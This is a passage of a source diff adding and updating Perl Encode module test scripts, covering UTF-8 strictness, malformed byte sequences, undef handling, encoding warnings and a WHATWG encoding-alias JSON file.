+ if (ord("A") == 193) {
+ print "1..0 # Skip: EBCDIC\n";
+ exit 0;
+ }
+ $| = 1;
+}
+
+use strict;
+use warnings;
+
+use Encode;
+use PerlIO::encoding;
+$PerlIO::encoding::fallback &= ~Encode::WARN_ON_ERR;
+
+use Test::More tests => 3;
+
+ok open my $fh, ">:encoding(cp1250)", do{\(my $str)};
+ok print $fh ("a" x 1023) . "\x{0378}";
+ok close $fh;
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/rt76824.t b/gnu/usr.bin/perl/cpan/Encode/t/rt76824.t
new file mode 100644
index 00000000000..5d057f607e9
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Encode/t/rt76824.t
@@ -0,0 +1,60 @@
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't';
+ unshift @INC, '../lib';
+ }
+ require Config; import Config;
+ if ($Config{'extensions'} !~ /\bEncode\b/) {
+ print "1..0 # Skip: Encode was not built\n";
+ exit 0;
+ }
+ if (ord("A") == 193) {
+ print "1..0 # Skip: EBCDIC\n";
+ exit 0;
+ }
+ $| = 1;
+}
+
+use strict;
+use warnings;
+
+use Encode;
+use PerlIO::encoding;
+$PerlIO::encoding::fallback &= ~Encode::WARN_ON_ERR;
+
+use Test::More tests => 2;
+
+my $out;
+my @arr = (
+ "\x{feff}\x{39f}\x{3af} \x{3a3}\x{3c5}\x{3bd}\x{3ad}\x{3bd}\x{3bf}\x{3c7}\x{3bf}\x{3b9}\n",
+ "\x{39f}\x{3b9} \x{393}\x{3b5}\x{3bd}\x{3bd}\x{3b1}\x{3af}\x{3bf}\x{3b9} \x{3c4}\x{3b7}\x{3c2} \x{3a3}\x{3b1}\x{3bc}\x{3bf}\x{3b8}\x{3c1}\x{3ac}\x{3ba}\x{3b7}\x{3c2}\n",
+ "\x{39f}\x{3b9} \x{393}\x{3b5}\x{3c1}\x{3bc}\x{3b1}\x{3bd}\x{3bf}\x{3af} \x{3be}\x{3b1}\x{3bd}\x{3ac}\x{3c1}\x{3c7}\x{3bf}\x{3bd}\x{3c4}\x{3b1}\x{3b9}...\n",
+ "\x{39f}\x{3b9} \x{395}\x{3c1}\x{3b1}\x{3c3}\x{3c4}\x{3ad}\x{3c2} \x{3a4}\x{3bf}\x{3c5} \x{391}\x{3b9}\x{3b3}\x{3b1}\x{3af}\x{3bf}\x{3c5}\n",
+ "\x{39f}\x{3b9} \x{39a}\x{3c5}\x{3bd}\x{3b7}\x{3b3}\x{3bf}\x{3af}\n",
+ "\x{39f}\x{3b9} \x{3a0}\x{3b1}\x{3bd}\x{3ba}\x{3c2} \x{3a4}\x{3b1} \x{39a}\x{3ac}\x{3bd}\x{3bf}\x{3c5}\x{3bd} \x{38c}\x{3bb}\x{3b1}\n",
+ "\x{39f}\x{3b9} \x{3a6}\x{3b1}\x{3bd}\x{3c4}\x{3b1}\x{3c1}\x{3af}\x{3bd}\x{3b5}\x{3c2}\n",
+ "\x{39f}\x{3b9}\x{3ba}\x{3bf}\x{3b3}\x{3ad}\x{3bd}\x{3b5}\x{3b9}\x{3b1} \x{3a0}\x{3b1}\x{3bd}\x{3c4}\x{3c1}\x{3b5}\x{3c5}\x{3cc}\x{3bc}\x{3b1}\x{3c3}\x{3c4}\x{3b5}\n",
+ "\x{39f}\x{3bb}\x{3b1} \x{3b5}\x{3af}\x{3bd}\x{3b1}\x{3b9} \x{3b4}\x{3c1}\x{3cc}\x{3bc}\x{3bf}\x{3c2}\n",
+ "\x{39f}\x{3bc}\x{3b7}\x{3c1}\x{3bf}\x{3c2}\n",
+ "\x{39f}\x{3be}\x{3c5}\x{3b3}\x{3cc}\x{3bd}\x{3bf}\n",
+ "\x{39f}\x{3c1}\x{3b1}\x{3c4}\x{3cc}\x{3c4}\x{3b7}\x{3c2} \x{3bc}\x{3b7}\x{3b4}\x{3ad}\x{3bd}\n",
+ "\x{3c0}\n",
+ "\x{3c0}\x{3ac}\x{3bd}\x{3c9}, \x{3ba}\x{3ac}\x{3c4}\x{3c9} \x{3ba}\x{3b1}\x{3b9} \x{3c0}\x{3bb}\x{3b1}\x{3b3}\x{3af}\x{3c9}\x{3c2}\n",
+ "\x{3a4}\x{3bf} \x{39a}\x{3b1}\x{3ba}\x{3cc}\n",
+ "\x{3a4}\x{3bf} \x{39a}\x{3b1}\x{3ba}\x{3cc} - \x{3a3}\x{3c4}\x{3b7}\x{3bd} \x{395}\x{3c0}\x{3bf}\x{3c7}\x{3ae} \x{3c4}\x{3c9}\x{3bd} \x{397}\x{3c1}\x{3ce}\x{3c9}\x{3bd}\n",
+ "\x{3a4}\x{3bf} \x{3ba}\x{3bb}\x{3ac}\x{3bc}\x{3b1} \x{3b2}\x{3b3}\x{3ae}\x{3ba}\x{3b5} \x{3b1}\x{3c0}'\x{3c4}\x{3bf}\x{3bd} \x{3c0}\x{3b1}\x{3c1}\x{3ac}\x{3b4}\x{3b5}\x{3b9}\x{3c3}\x{3bf}\n",
+ "\x{3a4}\x{3bf} \x{3ba}\x{3bf}\x{3c1}\x{3af}\x{3c4}\x{3c3}\x{3b9} \x{3bc}\x{3b5} \x{3c4}\x{3b1} \x{3bc}\x{3b1}\x{3cd}\x{3c1}\x{3b1}\n",
+ "\x{3a4}\x{3bf} \x{3ba}\x{3bf}\x{3c1}\x{3af}\x{3c4}\x{3c3}\x{3b9} \x{3c4}\x{3bf}\x{3c5} \x{3bb}\x{3bf}\x{3cd}\x{3bd}\x{3b1} \x{3c0}\x{3b1}\x{3c1}\x{3ba}\n",
+ "\x{3a4}\x{3bf} \x{39e}\x{3cd}\x{3bb}\x{3bf} \x{3b2}\x{3b3}\x{3ae}\x{3ba}\x{3b5} \x{3b1}\x{3c0}\x{3cc} \x{3c4}\x{3bf}\x{3bd} \x{3c0}\x{3b1}\x{3c1}\x{3ac}\x{3b4}\x{3b5}\x{3b9}\x{3c3}\x{3bf}\n",
+ "\x{3a4}\x{3bf} \x{3c0}\x{3b9}\x{3bf} \x{3bb}\x{3b1}\x{3bc}\x{3c0}\x{3c1}\x{3cc} \x{3b1}\x{3c3}\x{3c4}\x{3ad}\x{3c1}\x{3b9}\n",
+ "\x{3a4}\x{3bf} \x{3a1}\x{3b5}\x{3bc}\x{3b1}\x{3bb}\x{3b9} \x{3a4}\x{3b7}\x{3c2} \x{391}\x{3b8}\x{3b7}\x{3bd}\x{3b1}\x{3c2}\n",
+ "\x{3a4}\x{3bf} \x{3a4}\x{3b1}\x{3bd}\x{3b3}\x{3ba}\x{3cc} \x{3c4}\x{3c9}\x{3bd} \x{3a7}\x{3c1}\x{3b9}\x{3c3}\x{3c4}\x{3bf}\x{3c5}\x{3b3}\x{3ad}\x{3bd}\x{3bd}\x{3c9}\x{3bd}\n",
+ "\x{3a4}\x{3bf} \x{3c4}\x{3b5}\x{3bb}\x{3b5}\x{3c5}\x{3c4}\x{3b1}\x{3af}\x{3bf} \x{3c8}\x{3ad}\x{3bc}\x{3bc}\x{3b1}\n",
+ "\x{3a4}\x{3bf} \x{3c6}\x{3b9}\x{3bb}\x{3af} \x{3c4}\x{3b7}\x{3c2}... \x{396}\x{3c9}\x{3ae}\x{3c2}\n",
+ "\x{3a4}\x{3bf} \x{3c7}\x{3ce}\x{3bc}\x{3b1} \x{3b2}\x{3ac}\x{3c6}\x{3c4}\x{3b7}\x{3ba}\x{3b5} \x{3ba}\x{3cc}\x{3ba}\x{3ba}\x{3b9}\x{3bd}\x{3bf}\n",
+ "\x{3a4}\x{3bf}\x{3c0}\x{3af}\x{3bf} \x{3c3}\x{3c4}\x{3b7}\x{3bd} \x{3bf}\x{3bc}\x{3af}\x{3c7}\x{3bb}\x{3b7}\n",
+ "\x{3a4}\x{3c1}\x{3b9}\x{3bb}\x{3bf}\x{3b3}\x{3af}\x{3b1} 1: \x{3a4}\x{3bf} \x{39b}\x{3b9}\x{3b2}\x{3ac}\x{3b4}\x{3b9} \x{3c0}\x{3bf}\x{3c5} \x{3b4}\x{3b1}\x{3ba}\x{3c1}\x{3cd}\x{3b6}\x{3b5}\x{3b9}\n"
+ );
+ok open my $wh, '>:crlf:encoding(ISO-8859-1)', \$out;
+print $wh $_ for @arr;
+ok close $wh;
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/rt85489.t b/gnu/usr.bin/perl/cpan/Encode/t/rt85489.t
new file mode 100644
index 00000000000..3b28e35af6a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Encode/t/rt85489.t
@@ -0,0 +1,48 @@
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't';
+ unshift @INC, '../lib';
+ }
+ require Config; import Config;
+ if ($Config{'extensions'} !~ /\bEncode\b/) {
+ print "1..0 # Skip: Encode was not built\n";
+ exit 0;
+ }
+ if (ord("A") == 193) {
+ print "1..0 # Skip: EBCDIC\n";
+ exit 0;
+ }
+ $| = 1;
+}
+
+use strict;
+use warnings;
+
+use Test::More tests => 8;
+
+use Encode;
+
+my $ascii = Encode::find_encoding("ascii");
+my $orig = "str";
+
+my $str = $orig;
+ok !Encode::is_utf8($str), "UTF8 flag is not set on input string before ascii encode";
+$ascii->encode($str);
+ok !Encode::is_utf8($str), "UTF8 flag is not set on input string after ascii encode";
+
+$str = $orig;
+ok !Encode::is_utf8($str), "UTF8 flag is not set on input string before Encode::encode ascii";
+Encode::encode("ascii", $str);
+ok !Encode::is_utf8($str), "UTF8 flag is not set on input string after Encode::encode ascii";
+
+$str = $orig;
+Encode::_utf8_on($str);
+ok Encode::is_utf8($str), "UTF8 flag is set on input string before ascii decode";
+$ascii->decode($str);
+ok Encode::is_utf8($str), "UTF8 flag is set on input string after ascii decode";
+
+$str = $orig;
+Encode::_utf8_on($str);
+ok Encode::is_utf8($str), "UTF8 flag is set on input string before Encode::decode ascii";
+Encode::decode("ascii", $str);
+ok Encode::is_utf8($str), "UTF8 flag is set on input string after Encode::decode ascii";
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/rt86327.t b/gnu/usr.bin/perl/cpan/Encode/t/rt86327.t
new file mode 100644
index 00000000000..91527f849c6
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Encode/t/rt86327.t
@@ -0,0 +1,33 @@
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't';
+ unshift @INC, '../lib';
+ }
+ require Config; import Config;
+ if ($Config{'extensions'} !~ /\bEncode\b/) {
+ print "1..0 # Skip: Encode was not built\n";
+ exit 0;
+ }
+ if (ord("A") == 193) {
+ print "1..0 # Skip: EBCDIC\n";
+ exit 0;
+ }
+ $| = 1;
+}
+
+use strict;
+use warnings;
+
+use Encode;
+use PerlIO::encoding;
+$PerlIO::encoding::fallback &= ~Encode::WARN_ON_ERR;
+
+use Test::More tests => 3;
+
+my @t = qw/230 13 90 65 34 239 86 15 8 26 181 25 305 123 22 139 111 6 3
+100 37 1 20 1 166 1 300 19 1 42 153 81 106 114 67 1 32 34/;
+my $str;
+ok open OUT, '>:encoding(iso-8859-1)', \$str;
+my $string = join "\x{fffd}", map { '.'x$_ } @t;
+ok print OUT $string;
+ok close OUT;
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/truncated_utf8.t b/gnu/usr.bin/perl/cpan/Encode/t/truncated_utf8.t
new file mode 100644
index 00000000000..b3792676641
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Encode/t/truncated_utf8.t
@@ -0,0 +1,55 @@
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't';
+ unshift @INC, '../lib';
+ }
+ require Config; import Config;
+ if ($Config{'extensions'} !~ /\bEncode\b/) {
+ print "1..0 # Skip: Encode was not built\n";
+ exit 0;
+ }
+ if (ord("A") == 193) {
+ print "1..0 # Skip: EBCDIC\n";
+ exit 0;
+ }
+ $| = 1;
+}
+
+use strict;
+use warnings;
+
+use Encode;
+use PerlIO::encoding;
+$PerlIO::encoding::fallback &= ~(Encode::WARN_ON_ERR|Encode::PERLQQ);
+
+use Test::More tests => 9;
+
+binmode Test::More->builder->failure_output, ":utf8";
+binmode Test::More->builder->todo_output, ":utf8";
+
+is(decode("UTF-8", "\xfd\xfe"), "\x{fffd}" x 2);
+is(decode("UTF-8", "\xfd\xfe\xff"), "\x{fffd}" x 3);
+is(decode("UTF-8", "\xfd\xfe\xff\xe0"), "\x{fffd}" x 4);
+is(decode("UTF-8", "\xfd\xfe\xff\xe0\xe1"), "\x{fffd}" x 5);
+is(decode("UTF-8", "\xc1\x9f"), "\x{fffd}");
+is(decode("UTF-8", "\xFF\x80\x90\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80"), "\x{fffd}");
+is(decode("UTF-8", "\xF0\x80\x80\x80"), "\x{fffd}");
+
+SKIP: {
+ # infinite loop due to bug: https://rt.perl.org/Public/Bug/Display.html?id=41442
+ skip "Perl Version ($]) is older than v5.8.9", 2 if $] < 5.008009;
+ my $str = ("x" x 1023) . "\xfd\xfe\xffx";
+ open my $fh, '<:encoding(UTF-8)', \$str;
+ my $str2 = <$fh>;
+ close $fh;
+ is($str2, ("x" x 1023) . ("\x{fffd}" x 3) . "x");
+
+ TODO: {
+ local $TODO = "bug in perlio" if $] < 5.027009;
+ my $str = ("x" x 1023) . "\xfd\xfe\xff";
+ open my $fh, '<:encoding(UTF-8)', \$str;
+ my $str2 = <$fh>;
+ close $fh;
+ is($str2, ("x" x 1023) . ("\x{fffd}" x 3));
+ }
+}
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/undef.t b/gnu/usr.bin/perl/cpan/Encode/t/undef.t
new file mode 100644
index 00000000000..de52019b187
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Encode/t/undef.t
@@ -0,0 +1,25 @@
+use strict;
+use warnings FATAL => 'all';
+
+use Test::More;
+
+use Encode qw(encode decode find_encoding);
+use Encode::Encoder qw(encoder);
+
+local %Encode::ExtModule = %Encode::Config::ExtModule;
+
+my @names = Encode->encodings(':all');
+
+plan tests => 1 + 4 * @names;
+
+my $emptyutf8;
+eval { my $c = encoder($emptyutf8)->utf8; };
+ok(!$@,"crashed encoding undef variable ($@)");
+
+for my $name (@names) {
+ my $enc = find_encoding($name);
+ is($enc->encode(undef), undef, "find_encoding('$name')->encode(undef) returns undef");
+ is($enc->decode(undef), undef, "find_encoding('$name')->decode(undef) returns undef");
+ is(encode($name, undef), undef, "encode('$name', undef) returns undef");
+ is(decode($name, undef), undef, "decode('$name', undef) returns undef");
+}
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/use-Encode-Alias.t b/gnu/usr.bin/perl/cpan/Encode/t/use-Encode-Alias.t
new file mode 100644
index 00000000000..dab8142cfae
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Encode/t/use-Encode-Alias.t
@@ -0,0 +1,8 @@
+use strict;
+use warnings;
+
+use Encode::Alias;
+use open ":std", ":locale";
+
+print "1..1\n";
+print "ok 1 - use Encode::Alias works\n";
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/utf8messages.t b/gnu/usr.bin/perl/cpan/Encode/t/utf8messages.t
new file mode 100644
index 00000000000..8b6b379acba
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Encode/t/utf8messages.t
@@ -0,0 +1,33 @@
+use strict;
+use warnings;
+BEGIN { 'warnings'->unimport('utf8') if $] < 5.014 }; # turn off 'UTF-16 surrogate 0xd800' warnings
+
+use Test::More;
+use Encode qw(encode decode FB_CROAK LEAVE_SRC);
+
+plan tests => 12;
+
+my @invalid;
+
+ok ! defined eval { encode('UTF-8', "\x{D800}", FB_CROAK | LEAVE_SRC) }, 'Surrogate codepoint \x{D800} is not encoded to strict UTF-8';
+like $@, qr/^"\\x\{d800\}" does not map to UTF-8 /, 'Error message contains strict UTF-8 name';
+@invalid = ();
+encode('UTF-8', "\x{D800}", sub { @invalid = @_; return ""; });
+is_deeply \@invalid, [ 0xD800 ], 'Fallback coderef contains invalid codepoint 0xD800';
+
+ok ! defined eval { decode('UTF-8', "\xed\xa0\x80", FB_CROAK | LEAVE_SRC) }, 'Surrogate UTF-8 byte sequence \xED\xA0\x80 is decoded with strict UTF-8 decoder';
+like $@, qr/^UTF-8 "\\xED\\xA0\\x80" does not map to Unicode /, 'Error message contains strict UTF-8 name and original (not decoded) invalid sequence';
+@invalid = ();
+decode('UTF-8', "\xed\xa0\x80", sub { @invalid = @_; return ""; });
+is_deeply \@invalid, [ 0xED, 0xA0, 0x80 ], 'Fallback coderef contains invalid byte sequence 0xED, 0xA0, 0x80';
+
+ok ! defined eval { decode('UTF-8', "\xed\xa0", FB_CROAK | LEAVE_SRC) }, 'Invalid byte sequence \xED\xA0 is not decoded with strict UTF-8 decoder';
+like $@, qr/^UTF-8 "\\xED\\xA0" does not map to Unicode /, 'Error message contains strict UTF-8 name and original (not decoded) invalid sequence';
+@invalid = ();
+decode('UTF-8', "\xed\xa0", sub { @invalid = @_; return ""; });
+is_deeply \@invalid, [ 0xED, 0xA0 ], 'Fallback coderef contains invalid byte sequence 0xED, 0xA0';
+
+ok ! defined eval { decode('utf8', "\xed\xa0", FB_CROAK | LEAVE_SRC) }, 'Invalid byte sequence \xED\xA0 is not decoded with non-strict utf8 decoder';
+like $@, qr/^utf8 "\\xED\\xA0" does not map to Unicode /, 'Error message contains non-strict utf8 name and original (not decoded) invalid sequence';
+decode('utf8', "\xed\xa0", sub { @invalid = @_; return ""; });
+is_deeply \@invalid, [ 0xED, 0xA0 ], 'Fallback coderef contains invalid byte sequence 0xED, 0xA0';
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/utf8ref.t b/gnu/usr.bin/perl/cpan/Encode/t/utf8ref.t
index 3253e08639d..288f15b44fb 100644
--- a/gnu/usr.bin/perl/cpan/Encode/t/utf8ref.t
+++ b/gnu/usr.bin/perl/cpan/Encode/t/utf8ref.t
@@ -1,12 +1,12 @@
#
-# $Id: utf8ref.t,v 1.1 2010/09/18 18:39:51 dankogai Exp $
+# $Id: utf8ref.t,v 1.2 2016/10/28 05:03:52 dankogai Exp $
#
use strict;
use warnings;
use Encode;
use Test::More;
-plan tests => 4;
+plan tests => 12;
#plan 'no_plan';
# my $a = find_encoding('ASCII');
@@ -14,7 +14,20 @@ my $u = find_encoding('UTF-8');
my $r = [];
no warnings 'uninitialized';
is encode_utf8($r), ''.$r;
-is $u->encode($r), '';
+is $u->encode($r), ''.$r;
$r = {};
is decode_utf8($r), ''.$r;
-is $u->decode($r), '';
+is $u->decode($r), ''.$r;
+use warnings 'uninitialized';
+
+is encode_utf8(undef), undef;
+is decode_utf8(undef), undef;
+
+is encode_utf8(''), '';
+is decode_utf8(''), '';
+
+is Encode::encode('utf8', undef), undef;
+is Encode::decode('utf8', undef), undef;
+
+is Encode::encode('utf8', ''), '';
+is Encode::decode('utf8', ''), '';
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/utf8strict.t b/gnu/usr.bin/perl/cpan/Encode/t/utf8strict.t
index 3f362f49816..39293d3067a 100755
--- a/gnu/usr.bin/perl/cpan/Encode/t/utf8strict.t
+++ b/gnu/usr.bin/perl/cpan/Encode/t/utf8strict.t
@@ -47,8 +47,8 @@ BEGIN {
qq/dd 67 41 41/ => 0, # 2.3.2
qq/ee 42 73 73 71/ => 0, # 2.3.3
qq/f4 90 80 80/ => 1, # 2.3.4 -- out of range so NG
- # "3 Malformed sequences" are checked by perl.
- # "4 Overlong sequences" are checked by perl.
+ # EBCDIC TODO: "3 Malformed sequences"
+ # EBCDIC TODO: "4 Overlong sequences"
);
} else {
%SEQ = (
@@ -56,8 +56,49 @@ BEGIN {
qq/ee 80 80/ => 0, # 2.3.2
qq/f4 8f bf bd/ => 0, # 2.3.3
qq/f4 90 80 80/ => 1, # 2.3.4 -- out of range so NG
- # "3 Malformed sequences" are checked by perl.
- # "4 Overlong sequences" are checked by perl.
+ qq/80/ => 1, # 3.1.1
+ qq/bf/ => 1, # 3.1.2
+ qq/80 bf/ => 1, # 3.1.3
+ qq/80 bf 80/ => 1, # 3.1.4
+ qq/80 bf 80 bf/ => 1, # 3.1.5
+ qq/80 bf 80 bf 80/ => 1, # 3.1.6
+ qq/80 bf 80 bf 80 bf/ => 1, # 3.1.7
+ qq/80 bf 80 bf 80 bf 80/ => 1, # 3.1.8
+ qq/80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf/ => 1, # 3.1.9
+ qq/c0 20 c1 20 c2 20 c3 20 c4 20 c5 20 c6 20 c7 20 c8 20 c9 20 ca 20 cb 20 cc 20 cd 20 ce 20 cf 20 d0 20 d1 20 d2 20 d3 20 d4 20 d5 20 d6 20 d7 20 d8 20 d9 20 da 20 db 20 dc 20 dd 20 de 20 df 20/ => 1, # 3.2.1
+ qq/e0 20 e1 20 e2 20 e3 20 e4 20 e5 20 e6 20 e7 20 e8 20 e9 20 ea 20 eb 20 ec 20 ed 20 ee 20 ef 20/ => 1, # 3.2.2
+ qq/f0 20 f1 20 f2 20 f3 20 f4 20 f5 20 f6 20 f7 20/ => 1, # 3.2.3
+ qq/f8 20 f9 20 fa 20 fb 20/ => 1, # 3.2.4
+ qq/fc 20 fd 20/ => 1, # 3.2.5
+ qq/c0/ => 1, # 3.3.1
+ qq/e0 80/ => 1, # 3.3.2
+ qq/f0 80 80/ => 1, # 3.3.3
+ qq/f8 80 80 80/ => 1, # 3.3.4
+ qq/fc 80 80 80 80/ => 1, # 3.3.5
+ qq/df/ => 1, # 3.3.6
+ qq/ef bf/ => 1, # 3.3.7
+ qq/f7 bf bf/ => 1, # 3.3.8
+ qq/fb bf bf bf/ => 1, # 3.3.9
+ qq/fd bf bf bf bf/ => 1, # 3.3.10
+ qq/c0 e0 80 f0 80 80 f8 80 80 80 fc 80 80 80 80 df ef bf f7 bf bf fb bf bf bf fd bf bf bf bf/ => 1, # 3.4.1
+ qq/fe/ => 1, # 3.5.1
+ qq/ff/ => 1, # 3.5.2
+ qq/fe fe ff ff/ => 1, # 3.5.3
+ qq/c0 af/ => 1, # 4.1.1
+ qq/e0 80 af/ => 1, # 4.1.2
+ qq/f0 80 80 af/ => 1, # 4.1.3
+ qq/f8 80 80 80 af/ => 1, # 4.1.4
+ qq/fc 80 80 80 80 af/ => 1, # 4.1.5
+ qq/c1 bf/ => 1, # 4.2.1
+ qq/e0 9f bf/ => 1, # 4.2.2
+ qq/f0 8f bf bf/ => 1, # 4.2.3
+ qq/f8 87 bf bf bf/ => 1, # 4.2.4
+ qq/fc 83 bf bf bf bf/ => 1, # 4.2.5
+ qq/c0 80/ => 1, # 4.3.1
+ qq/e0 80 80/ => 1, # 4.3.2
+ qq/f0 80 80 80/ => 1, # 4.3.3
+ qq/f8 80 80 80 80/ => 1, # 4.3.4
+ qq/fc 80 80 80 80 80/ => 1, # 4.3.5
);
}
$NTESTS += scalar keys %SEQ;
@@ -82,7 +123,7 @@ for my $s (sort keys %SEQ){
eval { $d->decode($o,1) };
$DEBUG and $@ and warn $@;
my $t = $@ ? 1 : 0;
- is($t, $SEQ{$s}, $s);
+ is($t, $SEQ{$s}, "sequence: $s");
}
__END__
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/utf8warnings.t b/gnu/usr.bin/perl/cpan/Encode/t/utf8warnings.t
index 9d93ecea54a..0d1ac6dece2 100644
--- a/gnu/usr.bin/perl/cpan/Encode/t/utf8warnings.t
+++ b/gnu/usr.bin/perl/cpan/Encode/t/utf8warnings.t
@@ -8,7 +8,7 @@ BEGIN {
}
use Encode;
-use Test::More tests => 7;
+use Test::More tests => 10;
my $valid = "\x61\x00\x00\x00";
my $invalid = "\x78\x56\x34\x12";
@@ -24,6 +24,8 @@ my $enc = find_encoding("UTF32-LE");
is("@warnings", "", "Calling decode in Encode::Unicode on valid string produces no warnings");
}
+
+
{
@warnings = ();
my $ret = Encode::Unicode::decode( $enc, $invalid );
@@ -44,6 +46,8 @@ my $enc = find_encoding("UTF32-LE");
is("@warnings", "", "Warning from decode in Encode::Unicode can be silenced via no warnings");
}
+
+
{
@warnings = ();
my $ret = Encode::decode( $enc, $invalid );
@@ -61,6 +65,30 @@ my $enc = find_encoding("UTF32-LE");
no warnings;
@warnings = ();
my $ret = Encode::decode( $enc, $invalid );
- is("@warnings", "", "Warning from decode in Encode can be silenced via no warnings 'utf8'");
+ is("@warnings", "", "Warning from decode in Encode can be silenced via no warnings");
+};
+
+
+
+{
+ @warnings = ();
+ my $inplace = $invalid;
+ Encode::from_to( $inplace, "UTF32-LE", "UTF-8" );
+ like("@warnings", qr/is not Unicode/, "Calling from_to in Encode on invalid string warns");
+}
+
+{
+ no warnings 'utf8';
+ @warnings = ();
+ my $inplace = $invalid;
+ Encode::from_to( $inplace, "UTF32-LE", "UTF-8" );
+ is("@warnings", "", "Warning from from_to in Encode can be silenced via no warnings 'utf8'");
};
+{
+ no warnings;
+ @warnings = ();
+ my $inplace = $invalid;
+ Encode::from_to( $inplace, "UTF32-LE", "UTF-8" );
+ is("@warnings", "", "Warning from from_to in Encode can be silenced via no warnings");
+};
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/whatwg-aliases.json b/gnu/usr.bin/perl/cpan/Encode/t/whatwg-aliases.json
new file mode 100644
index 00000000000..4307b0cc486
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Encode/t/whatwg-aliases.json
@@ -0,0 +1,455 @@
+[
+ {
+ "encodings": [
+ {
+ "labels": [
+ "unicode-1-1-utf-8",
+ "utf-8",
+ "utf8"
+ ],
+ "name": "UTF-8"
+ }
+ ],
+ "heading": "The Encoding"
+ },
+ {
+ "encodings": [
+ {
+ "labels": [
+ "866",
+ "cp866",
+ "csibm866",
+ "ibm866"
+ ],
+ "name": "IBM866"
+ },
+ {
+ "labels": [
+ "csisolatin2",
+ "iso-8859-2",
+ "iso-ir-101",
+ "iso8859-2",
+ "iso88592",
+ "iso_8859-2",
+ "iso_8859-2:1987",
+ "l2",
+ "latin2"
+ ],
+ "name": "ISO-8859-2"
+ },
+ {
+ "labels": [
+ "csisolatin3",
+ "iso-8859-3",
+ "iso-ir-109",
+ "iso8859-3",
+ "iso88593",
+ "iso_8859-3",
+ "iso_8859-3:1988",
+ "l3",
+ "latin3"
+ ],
+ "name": "ISO-8859-3"
+ },
+ {
+ "labels": [
+ "csisolatin4",
+ "iso-8859-4",
+ "iso-ir-110",
+ "iso8859-4",
+ "iso88594",
+ "iso_8859-4",
+ "iso_8859-4:1988",
+ "l4",
+ "latin4"
+ ],
+ "name": "ISO-8859-4"
+ },
+ {
+ "labels": [
+ "csisolatincyrillic",
+ "cyrillic",
+ "iso-8859-5",
+ "iso-ir-144",
+ "iso8859-5",
+ "iso88595",
+ "iso_8859-5",
+ "iso_8859-5:1988"
+ ],
+ "name": "ISO-8859-5"
+ },
+ {
+ "labels": [
+ "arabic",
+ "asmo-708",
+ "csiso88596e",
+ "csiso88596i",
+ "csisolatinarabic",
+ "ecma-114",
+ "iso-8859-6",
+ "iso-8859-6-e",
+ "iso-8859-6-i",
+ "iso-ir-127",
+ "iso8859-6",
+ "iso88596",
+ "iso_8859-6",
+ "iso_8859-6:1987"
+ ],
+ "name": "ISO-8859-6"
+ },
+ {
+ "labels": [
+ "csisolatingreek",
+ "ecma-118",
+ "elot_928",
+ "greek",
+ "greek8",
+ "iso-8859-7",
+ "iso-ir-126",
+ "iso8859-7",
+ "iso88597",
+ "iso_8859-7",
+ "iso_8859-7:1987",
+ "sun_eu_greek"
+ ],
+ "name": "ISO-8859-7"
+ },
+ {
+ "labels": [
+ "csiso88598e",
+ "csisolatinhebrew",
+ "hebrew",
+ "iso-8859-8",
+ "iso-8859-8-e",
+ "iso-ir-138",
+ "iso8859-8",
+ "iso88598",
+ "iso_8859-8",
+ "iso_8859-8:1988",
+ "visual"
+ ],
+ "name": "ISO-8859-8"
+ },
+ {
+ "labels": [
+ "csiso88598i",
+ "iso-8859-8-i",
+ "logical"
+ ],
+ "name": "ISO-8859-8-I"
+ },
+ {
+ "labels": [
+ "csisolatin6",
+ "iso-8859-10",
+ "iso-ir-157",
+ "iso8859-10",
+ "iso885910",
+ "l6",
+ "latin6"
+ ],
+ "name": "ISO-8859-10"
+ },
+ {
+ "labels": [
+ "iso-8859-13",
+ "iso8859-13",
+ "iso885913"
+ ],
+ "name": "ISO-8859-13"
+ },
+ {
+ "labels": [
+ "iso-8859-14",
+ "iso8859-14",
+ "iso885914"
+ ],
+ "name": "ISO-8859-14"
+ },
+ {
+ "labels": [
+ "csisolatin9",
+ "iso-8859-15",
+ "iso8859-15",
+ "iso885915",
+ "iso_8859-15",
+ "l9"
+ ],
+ "name": "ISO-8859-15"
+ },
+ {
+ "labels": [
+ "iso-8859-16"
+ ],
+ "name": "ISO-8859-16"
+ },
+ {
+ "labels": [
+ "cskoi8r",
+ "koi",
+ "koi8",
+ "koi8-r",
+ "koi8_r"
+ ],
+ "name": "KOI8-R"
+ },
+ {
+ "labels": [
+ "koi8-ru",
+ "koi8-u"
+ ],
+ "name": "KOI8-U"
+ },
+ {
+ "labels": [
+ "csmacintosh",
+ "mac",
+ "macintosh",
+ "x-mac-roman"
+ ],
+ "name": "macintosh"
+ },
+ {
+ "labels": [
+ "dos-874",
+ "iso-8859-11",
+ "iso8859-11",
+ "iso885911",
+ "tis-620",
+ "windows-874"
+ ],
+ "name": "windows-874"
+ },
+ {
+ "labels": [
+ "cp1250",
+ "windows-1250",
+ "x-cp1250"
+ ],
+ "name": "windows-1250"
+ },
+ {
+ "labels": [
+ "cp1251",
+ "windows-1251",
+ "x-cp1251"
+ ],
